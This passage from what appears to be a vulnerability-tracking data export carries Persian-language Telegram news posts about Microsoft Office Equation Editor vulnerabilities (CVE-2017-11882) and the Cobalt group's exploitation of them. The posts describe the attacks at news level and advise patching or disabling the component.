\u0648\u06cc\u0646\u062f\u0648\u0632 (\u0628\u0627 \u0634\u0646\u0627\u0633\u0647\u200c\u06cc CVE-\u06f2\u06f0\u06f1\u06f7-\u06f1\u06f1\u06f8\u06f4\u06f7)\u060c \u0645\u0648\u0631\u062f \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0642\u0631\u0627\u0631 \u0628\u06af\u06cc\u0631\u062f.\n\n\ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\u0645\u062d\u0642\u0642\u0627\u0646 Embedi \u062f\u0631\u062d\u0627\u0644\u06cc\u200c\u06a9\u0647 \u062f\u0627\u0645\u0646\u0647\u200c\u06cc \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0631\u0627 \u062a\u0648\u0636\u06cc\u062d \u0645\u06cc\u200c\u062f\u0647\u0646\u062f\u060c \u0686\u0646\u062f\u06cc\u0646 \u0633\u0646\u0627\u0631\u06cc\u0648\u06cc \u062d\u0645\u0644\u0647 \u0631\u0627 \u0646\u06cc\u0632 \u067e\u06cc\u0634\u0646\u0647\u0627\u062f \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f:\n\n\u00ab\u0628\u0627 \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u0646 \u0686\u0646\u062f\u06cc\u0646 \u0645\u0639\u0627\u062f\u0644\u0647\u200c\u06cc \u0631\u06cc\u0627\u0636\u06cc \u06a9\u0647 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062a\u0648\u0635\u06cc\u0641 \u0634\u062f\u0647 \u0631\u0627 \u0645\u0648\u0631\u062f \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u0646\u062f\u060c \u0627\u0645\u06a9\u0627\u0646 \u0627\u062c\u0631\u0627\u06cc \u06cc\u06a9 \u062a\u0648\u0627\u0644\u06cc \u062f\u0644\u062e\u0648\u0627\u0647 \u0627\u0632 \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u0648\u062c\u0648\u062f \u062f\u0627\u0631\u062f (\u0628\u0647\u200c\u0639\u0646\u0648\u0627\u0646 \u0645\u062b\u0627\u0644\u060c \u0628\u0627\u0631\u06af\u06cc\u0631\u06cc \u06cc\u06a9 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u06cc \u062f\u0644\u062e\u0648\u0627\u0647 \u0627\u0632 \u0627\u06cc\u0646\u062a\u0631\u0646\u062a \u0648 \u0627\u062c\u0631\u0627\u06cc \u0622\u0646).\n\n\u06cc\u06a9\u06cc \u0627\u0632 \u0633\u0627\u062f\u0647\u200c\u062a\u0631\u06cc\u0646 \u0631\u0627\u0647\u200c\u0647\u0627\u06cc \u0627\u062c\u0631\u0627\u06cc \u06a9\u062f \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631\u060c \u0631\u0627\u0647\u200c\u0627\u0646\u062f\u0627\u0632\u06cc \u06cc\u06a9 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u06cc \u0642\u0627\u0628\u0644 \u0627\u062c\u0631\u0627 \u0627\u0632 \u06a9\u0627\u0631\u06af\u0632\u0627\u0631 WebDAV \u062a\u062d\u062a \u06a9\u0646\u062a\u0631\u0644 \u06cc\u06a9 \u0645\u0647\u0627\u062c\u0645 \u0627\u0633\u062a.\n\n\ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\u0628\u0627 \u0627\u06cc\u0646 \u0648\u062c\u0648\u062f\u060c \u0645\u0647\u0627\u062c\u0645 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0627\u0632 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062a\u0648\u0635\u06cc\u0641 \u0634\u062f\u0647 \u0628\u0631\u0627\u06cc \u0627\u062c\u0631\u0627\u06cc \u062f\u0633\u062a\u0648\u0631\u0627\u062a\u06cc \u062e\u0637 \u0641\u0631\u0645\u0627\u0646 \u0648\u06cc\u0646\u062f\u0648\u0632 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u062f. \u0686\u0646\u06cc\u0646 \u062f\u0633\u062a\u0648\u0631\u0627\u062a\u06cc \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0628\u0647\u200c\u0639\u0646\u0648\u0627\u0646 \u0628\u062e\u0634\u06cc \u0627\u0632 \u06cc\u06a9 \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0648 \u0631\u0627\u0647\u200c\u0627\u0646\u062f\u0627\u0632\u06cc WebClient \u0628\u0647\u200c\u06a9\u0627\u0631 \u0631\u0648\u062f.\u00bb\n\n \ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\ud83d\udc48\ud83c\udffb \u062d\u0641\u0627\u0638\u062a \u062f\u0631 \u0628\u0631\u0627\u0628\u0631 \u0622\u0633\u06cc\u0628\u200e\u067e\u0630\u06cc\u0631\u06cc \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633\n\u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0628\u0627 \u0627\u0646\u062a\u0634\u0627\u0631 \u0648\u0635\u0644\u0647\u200c\u06cc \u0627\u06cc\u0646 \u0645\u0627\u0647\u060c \u0628\u0627 \u062a\u063a\u06cc\u06cc\u0631 \u0646\u062d\u0648\u0647\u200c\u06cc \u0639\u0645\u0644\u06a9\u0631\u062f \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631 \u0622\u0633\u06cc\u0628\u200c\u062f\u06cc\u062f\u0647\u200c\u06cc \u06a9\u0646\u062a\u0631\u0644 \u0627\u0634\u06cc\u0627\u0621 \u062f\u0631 \u062d\u0627\u0641\u0638\u0647\u060c \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0631\u0627 \u0631\u0641\u0639 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a. \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646\u060c \u0628\u0647 \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u0628\u0647 \u200c\u0634\u062f\u062a \u062a\u0648\u0635\u06cc\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f \u062a\u0627 \u0628\u0631\u0627\u06cc \u062c\u0644\u0648\u06af\u06cc\u0631\u06cc \u0627\u0632 \u06a9\u0646\u062a\u0631\u0644 \u0631\u0627\u06cc\u0627\u0646\u0647\u200c\u0647\u0627\u06cc \u062e\u0648\u062f \u062a\u0648\u0633\u0637 \u0646\u0641\u0648\u0630\u06af\u0631\u0627\u0646 \u0648 \u0645\u062c\u0631\u0645\u0627\u0646 \u0633\u0627\u06cc\u0628\u0631\u06cc\u060c \u062f\u0631 \u0627\u0633\u0631\u0639 \u0648\u0642\u062a \u0648\u0635\u0644\u0647\u200c\u0647\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u0645\u0627\u0647 \u0646\u0648\u0627\u0645\u0628\u0631 \u0631\u0627 \u0627\u0639\u0645\u0627\u0644 \u06a9\u0646\u0646\u062f.\n\n\u0627\u0632 \u0622\u0646\u062c\u0627\u06cc\u06cc \u06a9\u0647 \u0627\u06cc\u0646 \u0645\u0648\u0644\u0641\u0647 \u062f\u0627\u0631\u0627\u06cc \u062a\u0639\u062f\u0627\u062f\u06cc \u0627\u0632 \u0645\u0633\u0627\u0626\u0644 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0627\u0633\u062a \u06a9\u0647 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0628\u0647\u200c\u0631\u0627\u062d\u062a\u06cc \u0645\u0648\u0631\u062f \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0642\u0631\u0627\u0631 \u06af\u06cc\u0631\u062f\u060c \u063a\u06cc\u0631\u0641\u0639\u0627\u0644 \u06a9\u0631\u062f\u0646 \u0622\u0646 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0628\u0647\u062a\u0631\u06cc\u0646 \u0631\u0627\u0647 \u0628\u0631\u0627\u06cc \u0627\u0637\u0645\u06cc\u0646\u0627\u0646 \u0627\u0632 \u0627\u0645\u0646\u06cc\u062a \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u06cc \u0634\u0645\u0627 \u0628\u0627\u0634\u062f.\n\n\ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c", "creation_timestamp": "2026-07-29T07:00:09.662853Z"}, {"uuid": "cc6267e5-ee45-49aa-a2ea-3e9e100fa84d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/KaitNews/6735", "content": "\u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0646\u0641\u0648\u0630\u06af\u0631\u0627\u0646 Cobalt \u0627\u0632 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06f1\u06f7 \u0633\u0627\u0644\u0647 \u062f\u0631 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \n\n\ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\ud83c\udf15\ud83d\udcd8 \u0628\u0647 \u06af\u0632\u0627\u0631\u0634 IPA \u0628\u0647 \u0646\u0642\u0644 \u0627\u0632 ASIS \ud83d\udcd8\ud83c\udf15\n\u067e\u0698\u0648\u0647\u0634\u06af\u0631\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0627\u0638\u0647\u0627\u0631 \u06a9\u0631\u062f\u0646\u062f \u06a9\u0647 \u06af\u0631\u0648\u0647 \u0646\u0641\u0648\u0630 Cobalt \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0627\u0632 \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06f1\u06f7 \u0633\u0627\u0644\u0647 \u062f\u0631 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \u0631\u0627 \u06a9\u0647 \u062f\u0631 \u0627\u0648\u0627\u06cc\u0644 \u0645\u0627\u0647 \u062c\u0627\u0631\u06cc \u0631\u0641\u0639 \u0634\u062f\u0647 \u0628\u0648\u062f\u060c \u0622\u063a\u0627\u0632 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a.\n\n\u0627\u06cc\u0646 \u0627\u0634\u06a9\u0627\u0644 \u06a9\u0647 \u0628\u0627 \u0634\u0646\u0627\u0633\u0647\u200c\u06cc CVE-\u06f2\u06f0\u06f1\u06f7-\u06f1\u06f1\u06f8\u06f8\u06f2 \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u0645\u06cc\u200c\u0634\u0648\u062f\u060c \u062a\u0648\u0633\u0637 \u067e\u0698\u0648\u0647\u0634\u06af\u0631\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u062f\u0631 \u0648\u06cc\u0698\u06af\u06cc  Equation Editor \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a (EQNEDT\u06f3\u06f2.EXE) \u06a9\u0634\u0641 \u0634\u062f\u060c \u0648 \u062f\u0631 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u0648\u0635\u0644\u0647\u200c\u06cc \u0631\u0648\u0632 \u0633\u0647\u200c\u0634\u0646\u0628\u0647\u200c\u06cc \u0645\u0627\u0647 \u0646\u0648\u0627\u0645\u0628\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f1\u06f7 \u0645\u06cc\u0644\u0627\u062f\u06cc \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0631\u0641\u0639 \u0634\u062f.\n\n\ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\u0627\u06cc\u0646 \u0645\u0633\u0623\u0644\u0647 \u062f\u0631 \u06cc\u06a9 \u0645\u0624\u0644\u0641\u0647\u200c\u0627\u06cc \u06a9\u0634\u0641 \u0634\u062f \u06a9\u0647 \u0627\u0632 \u0631\u0648\u0632 \u06f9 \u0645\u0627\u0647 \u0646\u0648\u0627\u0645\u0628\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f0\u06f0 \u0645\u06cc\u0644\u0627\u062f\u06cc \u062f\u0631 \u0645\u062c\u0645\u0648\u0639\u0647\u200c\u06cc \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \u0628\u062f\u0648\u0646 \u062a\u063a\u06cc\u06cc\u0631 \u0628\u0627\u0642\u06cc \u0645\u0627\u0646\u062f\u0647 \u0627\u0633\u062a\u060c \u0648 \u0628\u0647 \u0646\u0638\u0631 \u0645\u06cc\u200c\u0631\u0633\u062f \u0628\u0647 \u062c\u0627\u06cc \u0627\u06cc\u0646\u200c\u06a9\u0647 \u0628\u0647 \u0637\u0648\u0631 \u0645\u0633\u062a\u0642\u06cc\u0645 \u062f\u0631 \u06a9\u062f \u0645\u0646\u0628\u0639 \u0627\u0635\u0644\u0627\u062d \u0634\u0648\u062f \u0628\u0647 \u0635\u0648\u0631\u062a \u062f\u0633\u062a\u06cc \u0648\u0635\u0644\u0647 \u0634\u062f\u0647 \u0627\u0633\u062a\u060c \u062a\u062c\u0632\u06cc\u0647 \u0648 \u062a\u062d\u0644\u06cc\u0644 \u0646\u0634\u0627\u0646 \u0645\u06cc\u200c\u062f\u0647\u062f \u06a9\u0647 \u0648\u0635\u0644\u0647\u200c\u06cc \u0622\u0646 \u062f\u0631 \u0647\u0641\u062a\u0647\u200c\u06cc \u06af\u0630\u0634\u062a\u0647 \u0645\u0646\u062a\u0634\u0631 \u0634\u062f\u0647 \u0627\u0633\u062a.\n\n\u0645\u0624\u0644\u0641\u0647\u200c\u06cc \u0622\u0641\u06cc\u0633 \u0637\u0631\u0627\u062d\u06cc \u0634\u062f\u0647 \u0628\u0631\u0627\u06cc \u062a\u0633\u0647\u06cc\u0644 \u0627\u06cc\u062c\u0627\u062f \u0645\u0639\u0627\u062f\u0644\u0627\u062a \u0631\u06cc\u0627\u0636\u06cc \u0648 \u0639\u0644\u0645\u06cc\u060c Equation Editor \u062f\u0631 \u0622\u0641\u06cc\u0633 \u06f2\u06f0\u06f1\u06f7\u060c \u0628\u0627 \u0631\u0648\u0634\u200c\u0647\u0627\u06cc \u062c\u062f\u06cc\u062f \u0646\u0645\u0627\u06cc\u0634 \u0648 \u0648\u06cc\u0631\u0627\u06cc\u0634 \u0645\u0639\u0627\u062f\u0644\u0627\u062a \u062c\u0627\u06cc\u06af\u0632\u06cc\u0646 \u0634\u062f\u0647 \u0627\u0633\u062a. \u0628\u0627 \u0627\u06cc\u0646 \u062d\u0627\u0644\u060c \u0628\u0631\u0627\u06cc \u0627\u0637\u0645\u06cc\u0646\u0627\u0646 \u0627\u0632 \u0633\u0627\u0632\u06af\u0627\u0631\u06cc \u0628\u0627 \u0627\u0633\u0646\u0627\u062f \u0642\u062f\u06cc\u0645\u06cc\u200c\u062a\u0631\u060c \u0627\u0628\u0632\u0627\u0631 \u0642\u062f\u06cc\u0645\u06cc \u0647\u0645\u0686\u0646\u0627\u0646 \u0628\u062e\u0634\u06cc \u0627\u0632 \u0645\u062c\u0645\u0648\u0639\u0647\u200c\u06cc \u0645\u062d\u0628\u0648\u0628 \u0622\u0641\u06cc\u0633 \u0627\u0633\u062a.\n\n \ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15 \n\n\u0622\u0632\u0645\u0627\u06cc\u0634\u06af\u0627\u0647 ReversingLabs \u06a9\u0647 \u0645\u0648\u0641\u0642 \u0628\u0647 \u0636\u0628\u0637 \u06cc\u06a9 \u0633\u0646\u062f RTF \u0628\u0627 \u0637\u0631\u0627\u062d\u06cc \u062e\u0627\u0635 \u0628\u0631\u0627\u06cc \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0627\u0632 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc CVE-\u06f2\u06f0\u06f1\u06f7-\u06f1\u06f1\u06f8\u06f8\u06f2 \u0634\u062f \u0645\u06cc\u200c\u06af\u0648\u06cc\u062f\u060c \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06a9\u0647 \u0628\u0647 \u062a\u0627\u0632\u06af\u06cc \u0631\u0641\u0639 \u0634\u062f\u0647\u060c \u0627\u062e\u06cc\u0631\u0627\u064b \u062a\u0648\u0633\u0637 \u0646\u0641\u0648\u0630\u06af\u0631\u0627\u0646  Cobalt \u062f\u0631 \u062d\u0645\u0644\u0627\u062a \u0645\u0648\u0631\u062f \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0642\u0631\u0627\u0631 \u06af\u0631\u0641\u062a\u0647 \u0627\u0633\u062a.\n\n\u0645\u0634\u0627\u0647\u062f\u0647 \u0634\u062f\u0647 \u0627\u0633\u062a \u06a9\u0647 \u0627\u06cc\u0646 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u06cc \u0645\u062e\u0631\u0628 \u0628\u0627 \u06cc\u06a9 \u06a9\u0627\u0631\u06af\u0632\u0627\u0631 \u0631\u0627\u0647 \u062f\u0648\u0631 \u062a\u0645\u0627\u0633 \u0628\u0631\u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u06a9\u0646\u062f \u062a\u0627 \u0628\u0627\u0631 \u062f\u0627\u062f\u0647\u200c\u06cc \u0645\u0631\u062d\u0644\u0647\u200c\u06cc \u0627\u0648\u0644 \u0631\u0627 \u06a9\u0647 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 MSHTA.exe \u0627\u062c\u0631\u0627 \u0645\u06cc\u200c\u06a9\u0646\u062f\u060c \u062c\u0645\u0639\u200c\u0622\u0648\u0631\u06cc \u06a9\u0646\u062f. \u0633\u067e\u0633 \u0627\u06cc\u0646 \u06a9\u062f \u0627\u062c\u0631\u0627\u0634\u062f\u0647 \u0628\u0647 \u06a9\u0627\u0631\u06af\u0632\u0627\u0631 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0648\u0635\u0644 \u0645\u06cc\u200c\u0634\u0648\u062f \u062a\u0627 \u0628\u0627\u0631 \u062f\u0627\u062f\u0647\u200c\u06cc \u0645\u0631\u062d\u0644\u0647\u200c\u06cc \u062f\u0648\u0645 \u0648 \u06cc\u06a9 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u0631\u0627 \u06a9\u0647 \u0628\u0627\u0631 \u062f\u0627\u062f\u0647\u200c\u06cc \u0646\u0647\u0627\u06cc\u06cc \u062a\u0639\u0628\u06cc\u0647 \u0634\u062f\u0647 \u0631\u0627 \u062a\u0648\u0632\u06cc\u0639 \u0645\u06cc\u200c\u06a9\u0646\u062f\u060c \u0627\u0632 \u06a9\u0627\u0631\u06af\u0632\u0627\u0631 \u0628\u06af\u06cc\u0631\u062f.\n\n\ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\u0628\u0647 \u0646\u0638\u0631 \u0645\u06cc\u200c\u0631\u0633\u062f \u0627\u0628\u0632\u0627\u0631 \u0645\u062e\u0631\u0628 \u0627\u06cc\u0646 \u06af\u0631\u0648\u0647\u060c \u062f\u0631\u0628 \u067e\u0634\u062a\u06cc Cobalt Strike \u0627\u0633\u062a. \u0627\u06cc\u0646 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0628\u0647 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f \u06a9\u0647 \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u0631\u0627\u0647 \u062f\u0648\u0631 \u0631\u0627 \u062f\u0631 \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u0647\u0627\u06cc \u0622\u0644\u0648\u062f\u0647 \u0627\u062c\u0631\u0627 \u06a9\u0646\u0646\u062f.\n\n\u0635\u0631\u0641 \u0646\u0638\u0631 \u0627\u0632 \u0646\u0633\u062e\u0647\u200c\u06cc \u0648\u06cc\u0646\u062f\u0648\u0632\u06cc \u06a9\u0647  \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u062f\u0631 \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u06cc \u062e\u0648\u062f \u0627\u062c\u0631\u0627 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f\u060c \u0646\u0645\u0648\u0646\u0647\u200c\u0647\u0627\u06cc \u0648\u0635\u0644\u0647\u200c\u0646\u0634\u062f\u0647\u200c\u06cc EQNEDT\u06f3\u06f2.EXE\u060c \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u0622\u0641\u06cc\u0633 \u0631\u0627 \u062f\u0631 \u0645\u0639\u0631\u0636 \u062e\u0637\u0631 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u0646\u062f. \u0627\u06cc\u0646 \u0627\u0634\u06a9\u0627\u0644 \u06f1\u06f7 \u0633\u0627\u0644\u0647 \u062d\u062a\u06cc \u062f\u0633\u062a\u06af\u0627\u0647\u200c\u0647\u0627\u06cc\u06cc \u0631\u0627 \u06a9\u0647 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u0648\u06cc\u0646\u062f\u0648\u0632 \u06f1\u06f0 \u0631\u0627 \u0627\u062c\u0631\u0627 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f \u0646\u06cc\u0632 \u062a\u062d\u062a \u062a\u0627\u062b\u06cc\u0631 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u062f.\n\n\ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\u0639\u0644\u0627\u0648\u0647 \u0628\u0631 \u0627\u06cc\u0646\u060c \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc\u200c\u0647\u0627\u06cc \u0627\u062b\u0628\u0627\u062a \u0645\u0641\u0647\u0648\u0645\u06cc \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u0647 \u0632\u0648\u062f\u06cc \u067e\u0633 \u0627\u0632 \u0639\u0645\u0648\u0645\u06cc \u0634\u062f\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0645\u0646\u062a\u0634\u0631 \u0634\u062f\u060c \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646 \u062c\u0627\u06cc \u0647\u06cc\u0686 \u062a\u0639\u062c\u0628\u06cc \u0646\u06cc\u0633\u062a \u06a9\u0647 Cobalt \u0647\u062f\u0641 \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u0646 \u0627\u06cc\u0646 \u0627\u0634\u06a9\u0627\u0644 \u0631\u0627 \u0622\u063a\u0627\u0632 \u06a9\u0631\u062f\u0647 \u0628\u0627\u0634\u062f\u060c \u0645\u062e\u0635\u0648\u0635\u0627\u064b \u06a9\u0647 \u0627\u06cc\u0646 \u06af\u0631\u0648\u0647 \u0646\u0641\u0648\u0630 \u062f\u0631 \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc\u200c\u0647\u0627\u06cc\u06cc \u06a9\u0647 \u0628\u0647 \u062a\u0627\u0632\u06af\u06cc \u06a9\u0634\u0641 \u0634\u062f\u0647\u200c\u0627\u0646\u062f \u062e\u06cc\u0644\u06cc \u0633\u0631\u06cc\u0639 \u0639\u0645\u0644 \u0645\u06cc\u200c\u06a9\u0646\u062f.\n\n\u06af\u0631\u0648\u0647 Cobalt \u06af\u0631\u0648\u0647\u06cc \u0628\u0627 \u0627\u0646\u06af\u06cc\u0632\u0647\u200c\u06cc \u0645\u0627\u0644\u06cc\u060c \u0627\u0648\u0644\u06cc\u0646 \u0628\u0627\u0631 \u062f\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f1\u06f6 \u0645\u06cc\u0644\u0627\u062f\u06cc \u0645\u0639\u0631\u0641\u06cc \u0634\u062f \u0648 \u0645\u0639\u0645\u0648\u0644\u0627\u064b \u0628\u0627\u0646\u06a9\u200c\u0647\u0627\u060c \u062f\u0627\u062f\u0647\u200c\u0647\u0627\u06cc \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0645\u0628\u0627\u062f\u0644\u0627\u062a \u0645\u0627\u0644\u06cc\u060c \u0634\u0631\u06a9\u062a\u200c\u0647\u0627\u06cc \u0628\u06cc\u0645\u0647\u060c \u0635\u0646\u062f\u0648\u0642\u200c\u0647\u0627\u06cc \u0633\u0631\u0645\u0627\u06cc\u0647\u200c\u06af\u0630\u0627\u0631\u06cc\u060c \u0648 \u0633\u0627\u06cc\u0631 \u0633\u0627\u0632\u0645\u0627\u0646\u200c\u0647\u0627\u06cc \u0645\u0627\u0644\u06cc \u0631\u0627 \u0647\u062f\u0641 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u062f. \u0627\u06cc\u0646 \u0646\u0641\u0648\u0630\u06af\u0631\u0627\u0646 \u0627\u0632 \u0631\u0627\u06cc\u0627\u0646\u0627\u0645\u0647\u200c\u0647\u0627\u06cc \u0641\u06cc\u0634\u06cc\u0646\u06af \u06a9\u0647 \u0627\u0633\u0646\u0627\u062f \u0645\u062e\u0631\u0628 \u0631\u0627 \u062f\u0631 \u067e\u06cc\u0648\u0633\u062a \u062f\u0627\u0631\u0646\u062f \u0648 \u06cc\u0627 \u0627\u0632 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u0647\u0627\u06cc \u0641\u0634\u0631\u062f\u0647\u200c\u0634\u062f\u0647 \u06a9\u0647 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u0647\u0627\u06cc \u0642\u0627\u0628\u0644 \u0627\u062c\u0631\u0627 \u0631\u0627 \u0628\u0631\u0627\u06cc \u062a\u0648\u0632\u06cc\u0639 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u062e\u0648\u062f \u0628\u0633\u062a\u0647\u200c\u0628\u0646\u062f\u06cc \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f\u060c \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f.\n\n\ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\u062f\u0631 \u0627\u0648\u0627\u06cc\u0644 \u0633\u0627\u0644 \u062c\u0627\u0631\u06cc\u060c \u0627\u06cc\u0646 \u06af\u0631\u0648\u0647 \u0634\u0631\u0648\u0639 \u0628\u0647 \u0633\u0648\u0621\u200c\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc CVE-\u06f2\u06f0\u06f1\u06f7-\u06f0\u06f1\u06f9\u06f9 \u06a9\u0631\u062f \u06a9\u0647 \u062f\u0631 \u0645\u0627\u0647 \u0622\u0648\u0631\u06cc\u0644 \u0648\u0635\u0644\u0647 \u0634\u062f\u0647 \u0628\u0648\u062f\u060c \u0648 \u0639\u0645\u0644\u06cc\u0627\u062a \u062e\u0648\u062f \u0631\u0627 \u062f\u0631 \u0622\u0645\u0631\u06cc\u06a9\u0627\u06cc \u0634\u0645\u0627\u0644\u06cc \u06af\u0633\u062a\u0631\u0634 \u062f\u0627\u062f \u0648 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u062d\u0645\u0644\u0627\u062a \u0632\u0646\u062c\u06cc\u0631\u0647\u200c\u06cc \u062a\u0627\u0645\u06cc\u0646 (\u0627\u06cc\u0646 \u062d\u0645\u0644\u0627\u062a \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0622\u0644\u0648\u062f\u0647\u200c\u0633\u0627\u0632\u06cc \u06cc\u06a9 \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631 \u0642\u0627\u0646\u0648\u0646\u06cc \u062f\u0631 \u062d\u06cc\u0646 \u062a\u0648\u0633\u0639\u0647 \u0627\u0633\u062a) \u0631\u0627 \u0622\u063a\u0627\u0632 \u06a9\u0631\u062f. \u0627\u06cc\u0646 \u06af\u0631\u0648\u0647 \u062f\u0631 \u0627\u0628\u062a\u062f\u0627 \u0641\u0642\u0637 \u0631\u0648\u06cc \u0627\u0631\u0648\u067e\u0627\u06cc \u0634\u0631\u0642\u06cc \u0648 \u0622\u0633\u06cc\u0627\u06cc \u0645\u0631\u06a9\u0632\u06cc \u0648 